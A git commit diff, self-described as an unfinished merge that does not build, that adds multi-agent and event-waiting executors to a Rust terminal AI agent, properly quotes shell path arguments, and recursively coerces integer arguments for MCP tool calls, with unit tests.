first pass of merging in warp (doesn't build)
This commit is contained in:
@@ -12,6 +12,7 @@ pub(super) mod read_mcp_resource;
|
||||
pub(super) mod read_skill;
|
||||
pub(super) mod request_computer_use;
|
||||
pub(super) mod request_file_edits;
|
||||
pub(super) mod run_agents;
|
||||
pub(super) mod search_codebase;
|
||||
pub(super) mod send_message;
|
||||
pub(super) mod shell_command;
|
||||
@@ -20,6 +21,12 @@ pub(super) mod suggest_new_conversation;
|
||||
pub(super) mod suggest_prompt;
|
||||
pub(super) mod upload_artifact;
|
||||
pub(super) mod use_computer;
|
||||
pub(super) mod wait_for_events;
|
||||
|
||||
use std::any::Any;
|
||||
use std::path::PathBuf;
|
||||
use std::pin::Pin;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::agent::action_result::{InsertReviewCommentsResult, RequestCommandOutputResult};
|
||||
pub use ask_user_question::AskUserQuestionExecutor;
|
||||
@@ -29,77 +36,74 @@ use create_documents::CreateDocumentsExecutor;
|
||||
use edit_documents::EditDocumentsExecutor;
|
||||
use fetch_conversation::FetchConversationExecutor;
|
||||
use file_glob::FileGlobExecutor;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxy_core::{execution_mode::AppExecutionMode, features::FeatureFlag};
|
||||
use futures::future::BoxFuture;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use futures::AsyncReadExt;
|
||||
use futures::FutureExt;
|
||||
use grep::GrepExecutor;
|
||||
use notebooks::NotebookExecutor;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use mime_guess::from_path;
|
||||
use parking_lot::FairMutex;
|
||||
use read_documents::ReadDocumentsExecutor;
|
||||
pub(super) use read_files::ReadFilesExecutor;
|
||||
use read_mcp_resource::ReadMCPResourceExecutor;
|
||||
use read_skill::ReadSkillExecutor;
|
||||
use request_computer_use::RequestComputerUseExecutor;
|
||||
pub(crate) use request_file_edits::apply_edits;
|
||||
pub(crate) use request_file_edits::FileReadResult;
|
||||
pub(crate) use request_file_edits::MalformedFinalLineProxyEvent;
|
||||
pub(crate) use request_file_edits::{apply_edits, FileReadResult, MalformedFinalLineProxyEvent};
|
||||
pub use request_file_edits::{
|
||||
EditAcceptAndContinueClickedEvent, EditAcceptClickedEvent, EditResolvedEvent, EditStats,
|
||||
RequestFileEditsExecutor, RequestFileEditsFormatKind, RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
#[cfg(test)]
|
||||
pub use run_agents::{compose_run_agents_child_prompt, run_agents_to_start_agent_mode};
|
||||
pub use run_agents::{RunAgentsExecutor, RunAgentsExecutorEvent, RunAgentsSpawningSnapshot};
|
||||
pub use send_message::SendMessageToAgentExecutor;
|
||||
use serde::{Deserialize, Serialize};
|
||||
pub use shell_command::{ShellCommandExecutor, ShellCommandExecutorEvent};
|
||||
pub use start_agent::{StartAgentExecutor, StartAgentExecutorEvent, StartAgentRequest};
|
||||
pub use start_agent::{
|
||||
StartAgentExecutor, StartAgentExecutorEvent, StartAgentRequest, StartAgentRequestId,
|
||||
};
|
||||
pub use suggest_new_conversation::NewConversationDecision;
|
||||
use suggest_new_conversation::SuggestNewConversationExecutor;
|
||||
pub use suggest_prompt::PromptSuggestionExecutor;
|
||||
use upload_artifact::UploadArtifactExecutor;
|
||||
use use_computer::UseComputerExecutor;
|
||||
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::util::openable_file_type::is_binary_file;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use futures::AsyncReadExt;
|
||||
use wait_for_events::WaitForEventsExecutor;
|
||||
use galaxy_core::execution_mode::AppExecutionMode;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_files::{FileModel, TextFileReadResult};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_util::file::FileLoadError;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_util::file_type::is_buffer_binary;
|
||||
use galaxyui::{
|
||||
r#async::{Spawnable, SpawnableOutput},
|
||||
AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity,
|
||||
};
|
||||
use std::{any::Any, path::PathBuf, pin::Pin, sync::Arc};
|
||||
use galaxyui::r#async::{Spawnable, SpawnableOutput};
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use self::search_codebase::SearchCodebaseExecutor;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResult, AIAgentActionResultType,
|
||||
AIAgentActionType, AIAgentActionTypeDiscriminants, CancellationReason, FileContext,
|
||||
FileLocations, ServerOutputId,
|
||||
};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::get_relevant_files::controller::GetRelevantFilesController;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::ai::{agent::AnyFileContent, paths::host_native_absolute_path};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::command_executor::shell_quote_arg;
|
||||
use crate::terminal::model::session::{ExecuteCommandOptions, Session};
|
||||
use crate::terminal::model_events::ModelEventDispatcher;
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::{ShellLaunchData, TerminalModel};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::util::image::{
|
||||
is_supported_image_mime_type, process_image_for_agent, ProcessImageResult,
|
||||
};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use mime_guess::from_path;
|
||||
|
||||
use self::search_codebase::SearchCodebaseExecutor;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::ai::{agent::AnyFileContent, paths::host_native_absolute_path};
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId, AIAgentActionResult,
|
||||
AIAgentActionResultType, AIAgentActionType, CancellationReason, FileContext,
|
||||
FileLocations, ServerOutputId,
|
||||
},
|
||||
ambient_agents::AmbientAgentTaskId,
|
||||
get_relevant_files::controller::GetRelevantFilesController,
|
||||
},
|
||||
terminal::{
|
||||
model::session::{active_session::ActiveSession, ExecuteCommandOptions, Session},
|
||||
model_events::ModelEventDispatcher,
|
||||
shell::ShellType,
|
||||
ShellLaunchData, TerminalModel,
|
||||
},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use crate::util::openable_file_type::is_binary_file;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
/// Types of actions that can be executed in parallel.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
@@ -261,8 +265,10 @@ pub struct BlocklistAIActionExecutor {
|
||||
read_skill_executor: ModelHandle<ReadSkillExecutor>,
|
||||
fetch_conversation_executor: ModelHandle<FetchConversationExecutor>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
run_agents_executor: ModelHandle<RunAgentsExecutor>,
|
||||
send_message_executor: ModelHandle<SendMessageToAgentExecutor>,
|
||||
ask_user_question_executor: ModelHandle<AskUserQuestionExecutor>,
|
||||
wait_for_events_executor: ModelHandle<WaitForEventsExecutor>,
|
||||
/// The actions currently executing asynchronously, keyed by action ID.
|
||||
/// We track them per action rather than as a single slot so multiple actions from the same
|
||||
/// parallel phase can complete independently.
|
||||
@@ -324,12 +330,16 @@ impl BlocklistAIActionExecutor {
|
||||
let use_computer_executor = ctx.add_model(|_| UseComputerExecutor::new());
|
||||
let request_computer_use_executor =
|
||||
ctx.add_model(|_| RequestComputerUseExecutor::new(terminal_view_id));
|
||||
let read_skill_executor = ctx.add_model(|_| ReadSkillExecutor::new());
|
||||
let read_skill_executor = ctx.add_model(|_| ReadSkillExecutor::new(active_session.clone()));
|
||||
let fetch_conversation_executor = ctx.add_model(|_| FetchConversationExecutor::new());
|
||||
let start_agent_executor = ctx.add_model(StartAgentExecutor::new);
|
||||
let run_agents_executor = ctx
|
||||
.add_model(|_| RunAgentsExecutor::new(start_agent_executor.clone(), terminal_view_id));
|
||||
let send_message_executor = ctx.add_model(|_| SendMessageToAgentExecutor::new());
|
||||
let ask_user_question_executor =
|
||||
ctx.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let wait_for_events_executor =
|
||||
ctx.add_model(|ctx| WaitForEventsExecutor::new(terminal_view_id, ctx));
|
||||
Self {
|
||||
shell_command_executor,
|
||||
read_files_executor,
|
||||
@@ -353,8 +363,10 @@ impl BlocklistAIActionExecutor {
|
||||
read_skill_executor,
|
||||
fetch_conversation_executor,
|
||||
start_agent_executor,
|
||||
run_agents_executor,
|
||||
send_message_executor,
|
||||
ask_user_question_executor,
|
||||
wait_for_events_executor,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -364,6 +376,29 @@ impl BlocklistAIActionExecutor {
|
||||
.map(|running| &running.action)
|
||||
}
|
||||
|
||||
/// Returns the action_id of any running WaitForEvents action for the
|
||||
/// given conversation. There is at most one (wait_for_events is
|
||||
/// documented as exclusive within a turn).
|
||||
pub(super) fn find_running_wait_for_events(
|
||||
&self,
|
||||
conversation_id: AIConversationId,
|
||||
) -> Option<AIAgentActionId> {
|
||||
self.async_executing_actions
|
||||
.iter()
|
||||
.find_map(|(action_id, running)| {
|
||||
if running.conversation_id == conversation_id
|
||||
&& matches!(
|
||||
running.action.action,
|
||||
AIAgentActionType::WaitForEvents { .. }
|
||||
)
|
||||
{
|
||||
Some(action_id.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
pub fn shell_command_executor(&self) -> &ModelHandle<ShellCommandExecutor> {
|
||||
&self.shell_command_executor
|
||||
}
|
||||
@@ -390,6 +425,10 @@ impl BlocklistAIActionExecutor {
|
||||
&self.start_agent_executor
|
||||
}
|
||||
|
||||
pub fn run_agents_executor(&self) -> &ModelHandle<RunAgentsExecutor> {
|
||||
&self.run_agents_executor
|
||||
}
|
||||
|
||||
pub fn action_phase(&self, action: &AIAgentAction, ctx: &AppContext) -> RunningActionPhase {
|
||||
match &action.action {
|
||||
AIAgentActionType::ReadFiles(..)
|
||||
@@ -426,6 +465,9 @@ impl BlocklistAIActionExecutor {
|
||||
id: Option<AmbientAgentTaskId>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
self.send_message_executor.update(ctx, |executor, _| {
|
||||
executor.set_ambient_agent_task_id(id);
|
||||
});
|
||||
self.request_computer_use_executor
|
||||
.update(ctx, |executor, _| {
|
||||
executor.set_ambient_agent_task_id(id);
|
||||
@@ -540,6 +582,12 @@ impl BlocklistAIActionExecutor {
|
||||
AIAgentActionType::AskUserQuestion { .. } => self
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -768,6 +816,14 @@ impl BlocklistAIActionExecutor {
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
};
|
||||
|
||||
let action_id = action_clone.id.clone();
|
||||
@@ -885,6 +941,11 @@ impl BlocklistAIActionExecutor {
|
||||
return;
|
||||
}
|
||||
if let Some(running) = self.async_executing_actions.remove(action_id) {
|
||||
let action_kind = AIAgentActionTypeDiscriminants::from(&running.action.action);
|
||||
log::info!(
|
||||
"Canceling running async action of type {action_kind:?} action_id={action_id:?}, reason={reason:?}, backtrace=\n{}",
|
||||
std::backtrace::Backtrace::force_capture()
|
||||
);
|
||||
if running.is_shell_command_action() {
|
||||
self.shell_command_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
@@ -893,6 +954,19 @@ impl BlocklistAIActionExecutor {
|
||||
self.search_codebase_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
});
|
||||
} else if matches!(running.action.action, AIAgentActionType::RunAgents(..)) {
|
||||
self.run_agents_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
});
|
||||
} else if let AIAgentActionType::WaitForEvents { tool_call_id, .. } =
|
||||
&running.action.action
|
||||
{
|
||||
// Drop the executor's pending entry; the shared cancel
|
||||
// path emits FinishedAction(Cancelled).
|
||||
let tool_call_id = tool_call_id.clone();
|
||||
self.wait_for_events_executor.update(ctx, |executor, _| {
|
||||
executor.cancel_execution(&tool_call_id);
|
||||
});
|
||||
}
|
||||
ctx.emit(BlocklistAIActionExecutorEvent::FinishedAction {
|
||||
result: Arc::new(AIAgentActionResult {
|
||||
@@ -1016,6 +1090,12 @@ impl BlocklistAIActionExecutor {
|
||||
AIAgentActionType::AskUserQuestion { .. } => self
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1300,14 +1380,26 @@ async fn read_binary_file_context(
|
||||
})
|
||||
}
|
||||
|
||||
fn build_is_file_path_command(path: &str, shell_type: ShellType) -> String {
|
||||
let escaped_path = shell_quote_arg(path, shell_type);
|
||||
if shell_type == ShellType::PowerShell {
|
||||
format!("if (Test-Path -PathType Leaf {escaped_path}) {{ exit 0 }} else {{ exit 1 }}")
|
||||
} else {
|
||||
format!("test -f {escaped_path}")
|
||||
}
|
||||
}
|
||||
|
||||
fn build_is_git_repository_command(absolute_path: &str, shell_type: ShellType) -> String {
|
||||
format!(
|
||||
"git -C {} rev-parse",
|
||||
shell_quote_arg(absolute_path, shell_type)
|
||||
)
|
||||
}
|
||||
|
||||
/// Returns true if the given path is a regular file on the session's filesystem.
|
||||
/// Runs a shell command on the session so it works for both local and remote sessions.
|
||||
async fn is_file_path(path: &str, session: &Session) -> bool {
|
||||
let command = if session.shell().shell_type() == ShellType::PowerShell {
|
||||
format!("if (Test-Path -PathType Leaf \"{path}\") {{ exit 0 }} else {{ exit 1 }}")
|
||||
} else {
|
||||
format!("test -f \"{path}\"")
|
||||
};
|
||||
let command = build_is_file_path_command(path, session.shell().shell_type());
|
||||
session
|
||||
.execute_command(&command, None, None, ExecuteCommandOptions::default())
|
||||
.await
|
||||
@@ -1317,7 +1409,7 @@ async fn is_file_path(path: &str, session: &Session) -> bool {
|
||||
|
||||
/// Returns true if git is installed and the given path is in a git repository.
|
||||
async fn is_git_repository(absolute_path: &str, session: &Session) -> anyhow::Result<bool> {
|
||||
let git_command = format!("git -C \"{absolute_path}\" rev-parse");
|
||||
let git_command = build_is_git_repository_command(absolute_path, session.shell().shell_type());
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
git_command.as_str(),
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::orchestration_events::OrchestrationEventService;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
|
||||
pub enum AskUserQuestionDecision {
|
||||
Completed(Vec<AskUserQuestionAnswerItem>),
|
||||
|
||||
@@ -1,22 +1,24 @@
|
||||
use ai::agent::action::AskUserQuestionItem;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use warpui::{App, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionResultType};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::execution_profiles::{
|
||||
profiles::AIExecutionProfilesModel, AskUserQuestionPermission,
|
||||
};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::AskUserQuestionPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::{cloud_objects::update_manager::UpdateManager, sync_queue::SyncQueue};
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
use crate::workspaces::{team_tester::TeamTesterStatus, user_workspaces::UserWorkspaces};
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::LaunchMode;
|
||||
use ai::agent::action::AskUserQuestionItem;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use galaxyui::{App, EntityId, ModelHandle};
|
||||
|
||||
fn build_action(action_id: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
@@ -45,7 +47,7 @@ fn should_autoexecute_returns_false_when_autoapprove_is_enabled_and_profile_alwa
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
|
||||
profiles.update(&mut app, |profiles, ctx| {
|
||||
@@ -128,7 +130,7 @@ fn should_autoexecute_returns_true_when_autoapprove_is_enabled_and_profile_allow
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
let result = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
@@ -150,7 +152,7 @@ fn execute_returns_sync_skipped_question_ids_when_autoapprove_is_enabled() {
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, true, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, true, false, false, ctx)
|
||||
});
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
@@ -261,7 +263,7 @@ fn should_autoexecute_uses_active_terminal_profile_permission() {
|
||||
let executor = app.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let action = build_action("ask-user-question");
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
|
||||
profiles.update(&mut app, |profiles, ctx| {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use itertools::Itertools;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use super::get_server_output_id;
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::{
|
||||
ai::{
|
||||
@@ -14,10 +19,6 @@ use crate::{
|
||||
},
|
||||
send_telemetry_from_app_ctx, TelemetryEvent,
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use itertools::Itertools;
|
||||
|
||||
pub struct CallMCPToolExecutor {
|
||||
_active_session: ModelHandle<ActiveSession>,
|
||||
@@ -158,10 +159,10 @@ impl CallMCPToolExecutor {
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
reconnecting_peer
|
||||
.call_tool(rmcp::model::CallToolRequestParam {
|
||||
name: name_owned_inner.into(),
|
||||
arguments: Some(arguments),
|
||||
})
|
||||
.call_tool(
|
||||
rmcp::model::CallToolRequestParams::new(name_owned_inner)
|
||||
.with_arguments(arguments),
|
||||
)
|
||||
.await
|
||||
},
|
||||
move |res, ctx| handle_call_tool_result(res, server_output_id, name_clone, ctx),
|
||||
@@ -189,30 +190,116 @@ impl Entity for CallMCPToolExecutor {
|
||||
/// MCP tool args round-trip through `google.protobuf.Struct` on the wire, whose
|
||||
/// `NumberValue` stores everything as `f64`. Without this fix, serde_json emits
|
||||
/// whole-number floats as `"5.0"`, which strict MCP servers reject for integer fields.
|
||||
///
|
||||
/// Walks the schema recursively so integer fields nested inside objects, arrays,
|
||||
/// or `oneOf`/`anyOf`/`allOf` branches are all coerced. `$ref` is not resolved
|
||||
/// (the root schema would be required) and is skipped.
|
||||
pub(crate) fn coerce_integer_args(
|
||||
args: &mut serde_json::Map<String, serde_json::Value>,
|
||||
input_schema: &serde_json::Map<String, serde_json::Value>,
|
||||
) {
|
||||
let Some(properties) = input_schema.get("properties").and_then(|p| p.as_object()) else {
|
||||
return;
|
||||
};
|
||||
// Delegate to the recursive walker by wrapping `args` in a borrowed `Value`.
|
||||
// This keeps the root-level traversal consistent with nested levels, so
|
||||
// top-level `oneOf`/`anyOf`/`allOf` and `additionalProperties` are honored
|
||||
// the same way they are deeper in the schema.
|
||||
let mut wrapped = serde_json::Value::Object(std::mem::take(args));
|
||||
let schema_value = serde_json::Value::Object(input_schema.clone());
|
||||
coerce_value_against_schema(&mut wrapped, &schema_value);
|
||||
if let serde_json::Value::Object(restored) = wrapped {
|
||||
*args = restored;
|
||||
}
|
||||
}
|
||||
|
||||
for (key, prop_def) in properties {
|
||||
let is_integer = prop_def.get("type").and_then(|t| t.as_str()) == Some("integer");
|
||||
if !is_integer {
|
||||
continue;
|
||||
/// Returns true if the schema's `type` declares `"integer"`, including the
|
||||
/// nullable form `"type": ["integer", "null"]`.
|
||||
fn schema_declares_integer(schema: &serde_json::Value) -> bool {
|
||||
match schema.get("type") {
|
||||
Some(serde_json::Value::String(s)) => s == "integer",
|
||||
Some(serde_json::Value::Array(types)) => {
|
||||
types.iter().any(|t| t.as_str() == Some("integer"))
|
||||
}
|
||||
let Some(serde_json::Value::Number(n)) = args.get_mut(key) else {
|
||||
continue;
|
||||
};
|
||||
let Some(f) = n.as_f64() else { continue };
|
||||
if f.fract() != 0.0 {
|
||||
continue;
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// In-place coerces a whole-number `f64` `Number` to `i64`.
|
||||
fn coerce_number_to_int(n: &mut serde_json::Number) {
|
||||
let Some(f) = n.as_f64() else { return };
|
||||
if n.is_i64() || n.is_u64() {
|
||||
return;
|
||||
}
|
||||
if f.fract() != 0.0 {
|
||||
return;
|
||||
}
|
||||
if let Ok(i) = i64::try_from(f as i128) {
|
||||
*n = serde_json::Number::from(i);
|
||||
}
|
||||
}
|
||||
|
||||
/// Recursively walks `value` against `schema`, coercing whole-number f64s to
|
||||
/// i64 wherever the schema declares `"type": "integer"`. Safe to call against
|
||||
/// multiple `oneOf`/`anyOf`/`allOf` branches: coercion is a no-op on values
|
||||
/// the schema does not match.
|
||||
fn coerce_value_against_schema(value: &mut serde_json::Value, schema: &serde_json::Value) {
|
||||
if schema_declares_integer(schema) {
|
||||
if let serde_json::Value::Number(n) = value {
|
||||
coerce_number_to_int(n);
|
||||
}
|
||||
if let Ok(i) = i64::try_from(f as i128) {
|
||||
*n = serde_json::Number::from(i);
|
||||
}
|
||||
|
||||
// Visit every combinator key independently — a schema may declare more than
|
||||
// one of {oneOf, anyOf, allOf} at the same level, and we need to walk every
|
||||
// branch in every present combinator. Coercion is monotonic, so visiting
|
||||
// branches whose constraints don't match `value` is a safe no-op.
|
||||
for combinator in ["oneOf", "anyOf", "allOf"] {
|
||||
if let Some(branches) = schema.get(combinator).and_then(|b| b.as_array()) {
|
||||
for branch in branches {
|
||||
coerce_value_against_schema(value, branch);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
match value {
|
||||
serde_json::Value::Object(map) => {
|
||||
let properties = schema.get("properties").and_then(|p| p.as_object());
|
||||
let additional = schema.get("additionalProperties");
|
||||
// Per-key handling for the outer schema only. Per-branch handling
|
||||
// for keys covered by `oneOf`/`anyOf`/`allOf` is reached through
|
||||
// the top-level combinator recursion above: each branch is invoked
|
||||
// with the full `value`, so the branch's own object handling runs
|
||||
// and walks its `properties[k]`. Coercion is monotonic so the two
|
||||
// passes stack safely.
|
||||
for (k, v) in map.iter_mut() {
|
||||
if let Some(prop_schema) = properties.and_then(|p| p.get(k)) {
|
||||
coerce_value_against_schema(v, prop_schema);
|
||||
} else if let Some(extra_schema) = additional {
|
||||
if extra_schema.is_object() {
|
||||
coerce_value_against_schema(v, extra_schema);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
serde_json::Value::Array(items) => {
|
||||
if let Some(item_schema) = schema.get("items") {
|
||||
match item_schema {
|
||||
// `items` as an object schema: applies to every element.
|
||||
serde_json::Value::Object(_) => {
|
||||
for elem in items.iter_mut() {
|
||||
coerce_value_against_schema(elem, item_schema);
|
||||
}
|
||||
}
|
||||
// `items` as an array (tuple validation): positional schemas.
|
||||
serde_json::Value::Array(schemas) => {
|
||||
for (elem, elem_schema) in items.iter_mut().zip(schemas.iter()) {
|
||||
coerce_value_against_schema(elem, elem_schema);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
//! Unit tests for the `coerce_integer_args` helper.
|
||||
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn obj(value: serde_json::Value) -> serde_json::Map<String, serde_json::Value> {
|
||||
match value {
|
||||
serde_json::Value::Object(m) => m,
|
||||
@@ -46,3 +47,274 @@ fn no_coercion_when_not_typed_as_integer() {
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "1.0");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nested_object_integer_is_coerced() {
|
||||
let mut args = obj(json!({ "outer": { "inner": 5.0 } }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"outer": {
|
||||
"type": "object",
|
||||
"properties": { "inner": { "type": "integer" } }
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["outer"]["inner"].as_i64(), Some(5));
|
||||
assert_eq!(serde_json::to_string(&args["outer"]["inner"]).unwrap(), "5");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn array_items_integer_is_coerced() {
|
||||
let mut args = obj(json!({ "ids": [1.0, 2.0, 3.5] }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"ids": { "type": "array", "items": { "type": "integer" } }
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
// Whole-number floats become i64; fractional values are left alone.
|
||||
assert_eq!(args["ids"][0].as_i64(), Some(1));
|
||||
assert_eq!(args["ids"][1].as_i64(), Some(2));
|
||||
assert_eq!(args["ids"][2].as_f64(), Some(3.5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nullable_integer_type_array_is_coerced() {
|
||||
let mut args = obj(json!({ "n": 7.0, "m": null }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"n": { "type": ["integer", "null"] },
|
||||
"m": { "type": ["integer", "null"] }
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
